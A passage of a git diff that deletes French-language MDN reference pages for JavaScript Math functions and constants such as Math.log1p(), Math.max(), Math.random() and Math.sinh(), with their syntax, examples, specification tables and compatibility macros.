- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.0.
{{SpecName('ES5.1', '#sec-15.8.1.5', 'Math.LOG10E')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-math.log10e', 'Math.LOG10E')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-math.log10e', 'Math.LOG10E')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Math.LOG10E")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Math.exp()")}}
    • -
  • {{jsxref("Math.log()")}}
    • -
  • {{jsxref("Math.log10()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/math/log1p/index.html b/files/fr/web/javascript/reference/objets_globaux/math/log1p/index.html deleted file mode 100644 index b209a76043..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/math/log1p/index.html +++ /dev/null @@ -1,99 +0,0 @@ ---- -title: Math.log1p() -slug: Web/JavaScript/Reference/Objets_globaux/Math/log1p -tags: - - ECMAScript 2015 - - JavaScript - - Math - - Méthode - - Reference - - polyfill -translation_of: Web/JavaScript/Reference/Global_Objects/Math/log1p ---- -
{{JSRef}}
- -

La fonction Math.log1p() renvoie le logarithme népérien (en base {{jsxref("Math/E","e")}}) d'un nombre +1, donné par la formule :

- -

∀x>-1,Math.log1p(x)=ln(1+x)\forall x > -1, \mathtt{\operatorname{Math.log1p}(x)} = \ln(1 + x)

- -
{{EmbedInteractiveExample("pages/js/math-log1p.html")}}
- - - -

Syntaxe

- -
Math.log1p(x)
- -

Paramètres

- -
-
x
-
Un nombre.
-
- -

Valeur de retour

- -

La valeur du logarithme naturel de 1 plus l'argument (log(1 + x)). Si l'argument est inférieur à -1, {{jsxref("NaN")}} est renvoyée.

- -

Description

- -

Si x est strictement inférieur à -1, la valeur renvoyée est {{jsxref("NaN")}}.

- -

log1p étant une méthode statique de Math, il faut utiliser Math.log1p() et non pas la méthode d'un autre objet qui aurait été créé (Math n'est pas un constructeur).

- -

Exemple

- -

Utiliser Math.log1p()

- -
Math.log1p(1);  // 0.6931471805599453
-Math.log1p(0);  // 0
-Math.log1p(-1); // -Infinity
-Math.log1p(-2); // NaN
-
- -

Prothèse d'émulation (polyfill)

- -

Si cette fonction n'est pas disponible, elle peut être définie grâce au code suivant :

- -
Math.log1p = Math.log1p || function(x) {
-  return Math.log(1 + x);
-};
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-math.log1p', 'Math.log1p')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-math.log1p', 'Math.log1p')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Math.log1p")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Math.exp()")}}
    • -
  • {{jsxref("Math.log()")}}
    • -
  • {{jsxref("Math.log10()")}}
    • -
  • {{jsxref("Math.log2()")}}
    • -
  • {{jsxref("Math.pow()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/math/log2/index.html b/files/fr/web/javascript/reference/objets_globaux/math/log2/index.html deleted file mode 100644 index 0b11603a85..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/math/log2/index.html +++ /dev/null @@ -1,92 +0,0 @@ ---- -title: Math.log2() -slug: Web/JavaScript/Reference/Objets_globaux/Math/log2 -tags: - - ECMAScript 2015 - - JavaScript - - Math - - Méthode - - Reference - - polyfill -translation_of: Web/JavaScript/Reference/Global_Objects/Math/log2 ---- -
{{JSRef}}
- -

La fonction Math.log2() renvoie le logarithme en base 2 d'un nombre :

- -

∀x>0,Math.log2(x)=log2(x)=l'unique ytel que2y=x\forall x > 0, \mathtt{\operatorname{Math.log2}(x)} = \log_2(x) = \text{the unique} \; y \; \text{such that} \; 2^y = x

- -
{{EmbedInteractiveExample("pages/js/math-log2.html")}}
- - - -

Syntaxe

- -
Math.log2(x)
- -

Paramètres

- -
-
x
-
Un nombre.
-
- -

Valeur de retour

- -

Le logarithme en base 2 du nombre passé en argument. Si ce nombre est négatif, c'est {{jsxref("NaN")}} qui sera renvoyé.

- -

Description

- -

Si x est strictement inférieur à 0, la valeur renvoyée sera {{jsxref("NaN")}}.

- -

log2() étant une méthode statique de Math, il faut utiliser Math.log2() et non pas la méthode d'un autre objet qui aurait été créé (Math n'est pas un constructeur). Si on souhaite utiliser des constantes, on pourra employer {{jsxref("Math.LOG2E")}} ou {{jsxref("Math.LN2")}}.

- -

Exemples

- -

Utiliser Math.log2()

- -
Math.log2(3);    // 1.584962500721156
-Math.log2(2);    // 1
-Math.log2(1);    // 0
-Math.log2(0);    // -Infinity
-Math.log2(-2);   // NaN
-Math.log2(1024); // 10
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-math.log2', 'Math.log2')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-math.log2', 'Math.log2')}}{{Spec2('ESDraft')}}
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Math.log2")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Math.exp()")}}
    • -
  • {{jsxref("Math.log()")}}
    • -
  • {{jsxref("Math.log10()")}}
    • -
  • {{jsxref("Math.log1p()")}}
    • -
  • {{jsxref("Math.pow()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/math/log2e/index.html b/files/fr/web/javascript/reference/objets_globaux/math/log2e/index.html deleted file mode 100644 index dffc8423da..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/math/log2e/index.html +++ /dev/null @@ -1,83 +0,0 @@ ---- -title: Math.LOG2E -slug: Web/JavaScript/Reference/Objets_globaux/Math/LOG2E -tags: - - JavaScript - - Math - - Propriété - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Math/LOG2E ---- -
{{JSRef}}
- -

La propriété Math.LOG2E représente la valeur du logarithme en base 2 de e, environ 1.442 :

- -

Math.LOG2E=log2(e)≈1.442\mathtt{\mi{Math.LOG2E}} = \log_2(e) \approx 1.442

- -
{{EmbedInteractiveExample("pages/js/math-log2e.html")}}
- - - -
{{js_property_attributes(0,0,0)}}
- -

Description

- -

LOG2E est une propriété statique de l'objet Math et doit toujours être utilisé avec la syntaxe Math.LOG2E plutôt que comme la propriété d'un autre objet qui aurait été créé (Math n'est pas un constructeur).

- -

Exemples

- -

Utiliser Math.LOG2E

- -

La fonction suivante renvoie la valeur du logarithme en base 2 de e :

- -
function getLog2e() {
-   return Math.LOG2E;
-}
-
-getLog2e(); // 1.4426950408889634
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationStatutCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.0.
{{SpecName('ES5.1', '#sec-15.8.1.4', 'Math.LOG2E')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-math.log2e', 'Math.LOG2E')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-math.log2e', 'Math.LOG2E')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Math.LOG2E")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Math.exp()")}}
    • -
  • {{jsxref("Math.log()")}}
    • -
  • {{jsxref("Math.log2()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/math/max/index.html b/files/fr/web/javascript/reference/objets_globaux/math/max/index.html deleted file mode 100644 index 1964058b9b..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/math/max/index.html +++ /dev/null @@ -1,115 +0,0 @@ ---- -title: Math.max() -slug: Web/JavaScript/Reference/Objets_globaux/Math/max -tags: - - JavaScript - - Math - - Méthode - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Math/max ---- -
{{JSRef}}
- -

La fonction Math.max() renvoie le plus grand nombre d'une série de 0 ou plusieurs nombres.

- -
{{EmbedInteractiveExample("pages/js/math-max.html")}}
- - - -

Syntaxe

- -
Math.max([valeur1[,valeur2, ...]])
- -

Paramètres

- -
-
valeur1, valeur2, ...
-
Des nombres.
-
- -

Valeur de retour

- -

Le plus grand des nombres passés en arguments. S'il existe un des arguments qui ne peut pas être converti en nombre, c'est {{jsxref("NaN")}} qui sera renvoyé.

- -

Description

- -

max() est une méthode statique de Math et doit toujours être utilisée avec la syntaxe Math.max(), elle ne doit pas être appelée comme la méthode d'un autre objet qui aurait été créé (Math n'est pas un constructeur).

- -

Si aucun argument n'est fourni, le résultat sera -{{jsxref("Infinity")}}.

- -

Si au moins un des arguments ne peut pas être converti en un nombre, le résultat sera {{jsxref("NaN")}}.

- -

Exemple

- -

Utiliser Math.max()

- -
Math.max(10, 20);   //  20
-Math.max(-10, -20); // -10
-Math.max(-10, 20);  //  20
-
- -

Obtenir l'élément maximum d'un tableau

- -

La méthode {{jsxref("Array.prototype.reduce()")}} peut être utilisée pour déterminer la valeur maximale d'un tableau de nombre en comparant les valeurs qui se suivent :

- -
var arr = [1, 2, 3];
-var max = arr.reduce(function(a,b) {
-  return Math.max(a, b);
-});
- -

On peut également utiliser {{jsxref("Function.prototype.apply()")}} afin de trouver le maximum parmi un tableau de nombres. getMaxTableau([1,2,3]) sera équivalent à Math.max(1, 2, 3), mais getMaxTableau pourra être utilisé sur des tableaux de n'importe quelle taille.

- -
function getMaxTableau(tableauNumérique) {
-    return Math.max.apply(null, tableauNumérique);
-}
- -

Avec le nouvel {{jsxref("Opérateurs/Affecter_par_décomposition","opérateur de décomposition","","1")}}, on pourra également utiliser cette syntaxe, plus concise et plus simple :

- -
var arr = [1, 2, 3];
-var max = Math.max(...arr);
- -

Attention avec la décomposition et apply() qui pourront échouer s'il y a trop d'éléments dans le tableau (car ceux-ci seront passés en arguments). Pour plus d'informations, consulter Utiliser apply() et les fonctions natives. La méthode proposée avec reduce() n'a pas cette contrainte.

- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.0.
{{SpecName('ES5.1', '#sec-15.8.2.11', 'Math.max')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-math.max', 'Math.max')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-math.max', 'Math.max')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Math.max")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Math.min()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/math/min/index.html b/files/fr/web/javascript/reference/objets_globaux/math/min/index.html deleted file mode 100644 index 321548364d..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/math/min/index.html +++ /dev/null @@ -1,111 +0,0 @@ ---- -title: Math.min() -slug: Web/JavaScript/Reference/Objets_globaux/Math/min -tags: - - JavaScript - - Math - - Méthode - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Math/min ---- -
{{JSRef}}
- -

La fonction Math.min() renvoie le plus petit nombre d'une série de 0 ou plusieurs nombres ou bien {{jsxref("NaN")}} si au moins un des arguments fourni n'est pas un nombre ou ne peut pas être converti en nombre.

- -
{{EmbedInteractiveExample("pages/js/math-min.html")}}
- - - -

Syntaxe

- -
Math.min([valeur1[,valeur2, ...]])
- -

Paramètres

- -
-
valeur1, valeur2, ...
-
Des nombres.
-
- -

Valeur de retour

- -

Le plus petit des nombres passés en arguments. S'il existe un argument qui ne peut pas être converti en nombre, c'est {{jsxref("NaN")}} qui sera renvoyé. Le résultat sera {{jsxref("Infinity")}} si aucun paramètre n'est fourni.

- -

Description

- -

min() est une méthode statique de Math, elle doit toujours être utilisée avec la syntaxe Math.min() et ne doit pas être utilisée comme la méthode d'un objet qui aurait été créé (Math n'est pas un constructeur).

- -

Si aucun argument n'est fourni, le résultat renvoyé par la fonction sera {{jsxref("Infinity")}}.

- -

Si au moins un des arguments ne peut pas être converti en un nombre, le résultat sera {{jsxref("NaN")}}.

- -

Exemples

- -

Utiliser Math.min()

- -

Dans cet exemple, on trouve le minimum de x et y et on affecte cette valeur à z :

- -
var x = 10, y = -20;
-var z = Math.min(x, y);
-
- -

Ramener une valeur dans un intervalle (clipping) avec Math.min()

- -

Math.min() est souvent utilisée afin de ramener une certaine valeur dans un intervalle donné. Par exemple :

- -
var x = f(toto);
-
-if (x > limite) {
-  x = limite;
-}
-
- -

peut s'écrire

- -
var x = Math.min(f(toto), limite);
- -
{{jsxref("Math.max()")}} peut être utilisée de façon semblable pour ramener une valeur vers un minimum d'un intervalle donné.
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationStatutCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.0.
{{SpecName('ES5.1', '#sec-15.8.2.12', 'Math.min')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-math.min', 'Math.min')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-math.min', 'Math.min')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Math.min")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Math.max()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/math/pi/index.html b/files/fr/web/javascript/reference/objets_globaux/math/pi/index.html deleted file mode 100644 index 1afe5afc3a..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/math/pi/index.html +++ /dev/null @@ -1,81 +0,0 @@ ---- -title: Math.PI -slug: Web/JavaScript/Reference/Objets_globaux/Math/PI -tags: - - JavaScript - - Math - - Propriété - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Math/PI ---- -
{{JSRef}}
- -

La propriété Math.PI représente le ratio entre le périmètre d'un cercle et son diamètre. Elle vaut environ 3.14159:

- -

Math.PI=π≈3.14159\mathtt{\mi{Math.PI}} = \pi \approx 3.14159

- -
{{EmbedInteractiveExample("pages/js/math-pi.html")}}
- - - -
{{js_property_attributes(0,0,0)}}
- -

Description

- -

PI est une propriété statique de l'objet Math et doit toujours être utilisée avec la syntaxe Math.PI plutôt que d'être appelée comme la propriété d'un autre objet qui aurait été crée (Math n'est pas un constructeur).

- -

Exemples

- -

Utiliser Math.PI

- -

La fonction suivante utilise Math.PI afin de calculer le périmètre d'un cercle à partir du rayon passé en argument.

- -
function calculPérimètre(rayon) {
-  return 2 * Math.PI * rayon;
-}
-
-calculPérimètre(1);  // 6.283185307179586
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationStatutCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.0.
{{SpecName('ES5.1', '#sec-15.8.1.6', 'Math.PI')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-math.pi', 'Math.PI')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-math.pi', 'Math.PI')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Math.PI")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Math")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/math/pow/index.html b/files/fr/web/javascript/reference/objets_globaux/math/pow/index.html deleted file mode 100644 index c7d08031b1..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/math/pow/index.html +++ /dev/null @@ -1,106 +0,0 @@ ---- -title: Math.pow() -slug: Web/JavaScript/Reference/Objets_globaux/Math/pow -tags: - - JavaScript - - Math - - Méthode - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Math/pow ---- -
{{JSRef}}
- -

La fonction Math.pow() renvoie un nombre à une certaine puissance, c'est-à-dire baseexposant.

- -
{{EmbedInteractiveExample("pages/js/math-pow.html")}}
- - - -

Syntaxe

- -
Math.pow(base, exposant);
- -

Paramètres

- -
-
base
-
Le nombre correspondant à la base.
-
exponent
-
L'exposant auquel on élève le paramètre précédent.
-
- -

Valeur de retour

- -

Un nombre qui représente un nombre (premier argument) élevé à une puissance donné (second argument).

- -

Description

- -

pow() est une méthode statique de Math et doit toujours être utilisée avec la syntaxe Math.pow(), elle ne doit pas être utilisée comme une méthode d'un autre objet qui aurait été créé (Math n'est pas un constructeur).

- -

Exemple

- -

Utiliser Math.pow()

- -
// Utilisation simple
-Math.pow(7, 2); // 49
-
-// Exposants négatifs
-Math.pow(7, -2); // 0.02040816326530612 (1/49)
-
-// Exposants fractionnaires
-Math.pow(2, 1/2); // 1.4142135623730951 (racine carrée de 2)
-
-// Cas aux limites
-Math.pow(-7, 0.5); // NaN
-// (les nombres négatifs n'ont pas de racine carrée)
-Math.pow(-7, 1/3); // NaN
-// Nombre négatif avec une base décimale
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.0.
{{SpecName('ES5.1', '#sec-15.8.2.13', 'Math.pow')}}{{Spec2('ES5.1')}}
{{SpecName('ES6', '#sec-math.pow', 'Math.pow')}}{{Spec2('ES6')}}
{{SpecName('ESDraft', '#sec-math.pow', 'Math.pow')}}{{Spec2('ESDraft')}}
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Math.pow")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Math.cbrt()")}}
    • -
  • {{jsxref("Math.exp()")}}
    • -
  • {{jsxref("Math.log()")}}
    • -
  • {{jsxref("Math.sqrt()")}}
    • -
  • Opérateur d'exponentiation {{experimental_inline}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/math/random/index.html b/files/fr/web/javascript/reference/objets_globaux/math/random/index.html deleted file mode 100644 index 880f6ee69e..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/math/random/index.html +++ /dev/null @@ -1,114 +0,0 @@ ---- -title: Math.random() -slug: Web/JavaScript/Reference/Objets_globaux/Math/random -tags: - - JavaScript - - Math - - Méthode - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Math/random ---- -
{{JSRef}}
- -

La fonction Math.random() renvoie un nombre flottant pseudo-aléatoire compris dans l'intervalle [0, 1[ (ce qui signifie que 0 est compris dans l'intervalle mais que 1 en est exclu) selon une distribution approximativement uniforme sur cet intervalle. Ce nombre peut ensuite être multiplié afin de couvrir un autre intervalle. La graine (seed) du générateur est choisie par l'algorithme et ne peut pas être choisie ou réinitialisée par l'utilisateur.

- -
{{EmbedInteractiveExample("pages/js/math-random.html")}}
- -
-

Note : Math.random() ne fournit pas de nombres aléatoires propres à une cryptographie sécurisée. Les résultats de cette méthode ne doivent pas être utilisées dans des applications liées à la sécurité. À la place, on préfèrera utiliser l'API Web Crypto et plus précisément la méthode {{domxref("RandomSource.getRandomValues()", "window.crypto.getRandomValues()")}}.

-
- -

Syntaxe

- -
Math.random()
- -

Valeur de retour

- -

Un nombre flottant pseudo-aléatoire, généré entre 0 (inclus) et 1 (exclu)

- -

Exemples

- -

En JavaScript, les nombres sont représentés comme des nombres flottants selon la norme IEEE 754 et les arrondis sont pris aux plus près. Aussi, les intervalles revendiqués par les fonctions ci-après (en dehors de Math.random()) ne sont pas théoriquement et précisément exacts. Si on utilise des bornes supérieures très grande (253 ou plus), il est alors possible, dans de très rares cas, d'obtenir la borne supérieure comme résultat alors que celle-ci devrait être exclue de l'intervalle.

- -

Obtenir un nombre aléatoire entre 0 et 1

- -
// On renvoie un nombre aléatoire entre 0 (inclus) et 1 (exclus)
-function getRandom() {
-  return Math.random();
-}
- -

Obtenir un nombre aléatoire dans un intervalle

- -
// On renvoie un nombre aléatoire entre une valeur min (incluse)
-// et une valeur max (exclue)
-function getRandomArbitrary(min, max) {
-  return Math.random() * (max - min) + min;
-}
- -

Obtenir un entier aléatoire dans un intervalle ouvert à droite

- -
// On renvoie un entier aléatoire entre une valeur min (incluse)
-// et une valeur max (exclue).
-// Attention : si on utilisait Math.round(), on aurait une distribution
-// non uniforme !
-function getRandomInt(min, max) {
-  min = Math.ceil(min);
-  max = Math.floor(max);
-  return Math.floor(Math.random() * (max - min)) + min;
-}
-
- -
-

Attention ! Utiliser Math.round() entraînerait une distribution non-uniforme et réduirait le caractère aléatoire de la méthode.

-
- -

Obtenir un entier aléatoire dans un intervalle fermé

- -
// On renvoie un entier aléatoire entre une valeur min (incluse)
-// et une valeur max (incluse).
-// Attention : si on utilisait Math.round(), on aurait une distribution
-// non uniforme !
-function getRandomIntInclusive(min, max) {
-  min = Math.ceil(min);
-  max = Math.floor(max);
-  return Math.floor(Math.random() * (max - min +1)) + min;
-}
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.0 (UNIX) et 1.1 (toutes plateformes).
{{SpecName('ES5.1', '#sec-15.8.2.14', 'Math.random')}}{{Spec2('ES5.1')}}
{{SpecName('ES6', '#sec-math.random', 'Math.random')}}{{Spec2('ES6')}}
{{SpecName('ESDraft', '#sec-math.random', 'Math.random')}}{{Spec2('ESDraft')}}
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Math.random")}}

diff --git a/files/fr/web/javascript/reference/objets_globaux/math/round/index.html b/files/fr/web/javascript/reference/objets_globaux/math/round/index.html deleted file mode 100644 index 981e6cb665..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/math/round/index.html +++ /dev/null @@ -1,97 +0,0 @@ ---- -title: Math.round() -slug: Web/JavaScript/Reference/Objets_globaux/Math/round -tags: - - JavaScript - - Math - - Méthode - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Math/round ---- -
{{JSRef}}
- -

La fonction Math.round() retourne la valeur d'un nombre arrondi à l'entier le plus proche.

- -
{{EmbedInteractiveExample("pages/js/math-round.html")}}
- - - -

Syntaxe

- -
Math.round(x)
- -

Paramètres

- -
-
x
-
Un nombre.
-
- -

Valeur de retour

- -

La valeur de l'entier le plus proche du nombre passé en argument.

- -

Description

- -

Si la partie décimale du nombre est plus grande que 0.5, l'argument est arrondi à l'entier le plus proche dont la valeur absolue est plus grande. Si elle est plus petite que 0.5, l'argument est arrondi à l'entier le plus proche dont la valeur absolue est plus petite. Si la partie décimale du nombre vaut exactement 0.5, l'argument est arrondi à l'entier le plus proche en direction de l'infini positif (attention, pour la plupart des langages de programmation, c'est le nombre avec la plus grande valeur absolue qui est renvoyé ; on a donc une différence de comportement pour les nombres négatifs dont la partie décimale vaut exactement 0.5).

- -

round() étant une méthode statique de Math, elle doit toujours être utilisée avec la syntaxe Math.round(), elle ne doit pas être utilisée comme une méthode d'un objet qui aurait été créé (Math n'est pas un constructeur).

- -

Exemples

- -
Math.round(20.49); //  20
-Math.round(20.5);  //  21
-Math.round(42);    //  42
-Math.round(-20.5); // -20
-Math.round(-20.51);// -21
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.0.
{{SpecName('ES5.1', '#sec-15.8.2.15', 'Math.round')}}{{Spec2('ES5.1')}}
{{SpecName('ES6', '#sec-math.round', 'Math.round')}}{{Spec2('ES6')}}
{{SpecName('ESDraft', '#sec-math.round', 'Math.round')}}{{Spec2('ESDraft')}}
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Math.round")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Number.toPrecision()")}}
    • -
  • {{jsxref("Number.toFixed()")}}
    • -
  • {{jsxref("Math.abs()")}}
    • -
  • {{jsxref("Math.ceil()")}}
    • -
  • {{jsxref("Math.floor()")}}
    • -
  • {{jsxref("Math.sign()")}}
    • -
  • {{jsxref("Math.trunc()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/math/sign/index.html b/files/fr/web/javascript/reference/objets_globaux/math/sign/index.html deleted file mode 100644 index 8a1c941e66..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/math/sign/index.html +++ /dev/null @@ -1,92 +0,0 @@ ---- -title: Math.sign() -slug: Web/JavaScript/Reference/Objets_globaux/Math/sign -tags: - - ECMAScript 2015 - - JavaScript - - Math - - Méthode - - Reference - - polyfill -translation_of: Web/JavaScript/Reference/Global_Objects/Math/sign ---- -
{{JSRef}}
- -

La fonction Math.sign() renvoie le signe d'un nombre et permet de savoir si un nombre est positif, négatif ou nul.

- -
{{EmbedInteractiveExample("pages/js/math-sign.html")}}
- - - -

Syntaxe

- -
Math.sign(x)
- -

Paramètres

- -
-
x
-
Un nombre.
-
- -

Valeur de retour

- -

Un nombre qui représente le signe de l'argument. Si l'argument est un nombre positif, négatif, un zéro positif ou un zéro négatif, la fonction renverra respectivement 1, -1, 0, -0. Sinon, ce sera {{jsxref("NaN")}} qui sera renvoyé.

- -

Description

- -

sign() étant une méthode statique de Math, il faut utiliser Math.sign() et non pas la méthode d'un autre objet qui aurait été créé (Math n'est pas un constructeur).

- -

Cette fonction peut renvoyer 5 valeurs : 1, -1, 0, -0, NaN, qui indiquent respectivement que x est un nombre positif, un nombre négatif, zéro, la limite négative de zéro, et n'est pas un nombre pour {{jsxref("NaN")}}.

- -

L'argument passé à cette fonction sera implicitement converti au type number.

- -

Exemples

- -
Math.sign(3)     //  1
-Math.sign(-3)    // -1
-Math.sign("-3")  // -1
-Math.sign(0)     //  0
-Math.sign(-0)    // -0
-Math.sign(NaN)   // NaN
-Math.sign("foo") // NaN
-Math.sign()      // NaN
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES6', '#sec-math.sign', 'Math.sign')}}{{Spec2('ES6')}}Définition initiale.
{{SpecName('ESDraft', '#sec-math.sign', 'Math.sign')}}{{Spec2('ESDraft')}}
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Math.sign")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Math.abs()")}}
    • -
  • {{jsxref("Math.ceil()")}}
    • -
  • {{jsxref("Math.floor()")}}
    • -
  • {{jsxref("Math.round()")}}
    • -
  • {{jsxref("Math.trunc()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/math/sin/index.html b/files/fr/web/javascript/reference/objets_globaux/math/sin/index.html deleted file mode 100644 index c9ea4850ac..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/math/sin/index.html +++ /dev/null @@ -1,94 +0,0 @@ ---- -title: Math.sin() -slug: Web/JavaScript/Reference/Objets_globaux/Math/sin -tags: - - JavaScript - - Math - - Méthode - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Math/sin ---- -
{{JSRef}}
- -

La fonction Math.sin() renvoie le sinus d'un nombre.

- -
{{EmbedInteractiveExample("pages/js/math-sin.html")}}
- - - -

Syntaxe

- -
Math.sin(x)
- -

Paramètres

- -
-
x
-
Un nombre (qui exprime un angle en radians).
-
- -

Valeur de retour

- -

Le sinus de la valeur passée en argument (qui correspond à un angle en radians).

- -

Description

- -

La méthode sin() renvoie une valeur numérique comprise (au sens large) entre 1 et -1 et qui représente le sinus d'un angle donné en radians.

- -

sin() est une méthode statique de Math, elle doit être utilisée avec la syntaxe Math.sin(), elle ne doit pas être utilisée comme une méthode d'un objet qui aurait été créé (Math n'est pas un constructeur).

- -

Exemples

- -
Math.sin(0);           // 0
-Math.sin(1);           // 0.8414709848078965
-
-Math.sin(Math.PI / 2); // 1
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationStatutCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.0.
{{SpecName('ES5.1', '#sec-15.8.2.16', 'Math.sin')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-math.sin', 'Math.sin')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-math.sin', 'Math.sin')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Math.sin")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Math.acos()")}}
    • -
  • {{jsxref("Math.asin()")}}
    • -
  • {{jsxref("Math.atan()")}}
    • -
  • {{jsxref("Math.atan2()")}}
    • -
  • {{jsxref("Math.cos()")}}
    • -
  • {{jsxref("Math.tan()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/math/sinh/index.html b/files/fr/web/javascript/reference/objets_globaux/math/sinh/index.html deleted file mode 100644 index 33c5813d67..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/math/sinh/index.html +++ /dev/null @@ -1,98 +0,0 @@ ---- -title: Math.sinh() -slug: Web/JavaScript/Reference/Objets_globaux/Math/sinh -tags: - - ECMAScript 2015 - - JavaScript - - Math - - Méthode - - Reference - - polyfill -translation_of: Web/JavaScript/Reference/Global_Objects/Math/sinh ---- -
{{JSRef}}
- -

La fonction Math.sinh() renvoie le sinus hyperbolique d'un nombre, dont la formule, utilisant la constante {{jsxref("Math.E","e")}}, est :

- -

Math.sinh(x)=ex-e-x2\mathtt{\operatorname{Math.sinh(x)}} = \frac{e^x - e^{-x}}{2}

- -
{{EmbedInteractiveExample("pages/js/math-sinh.html")}}
- - - -

Syntaxe

- -
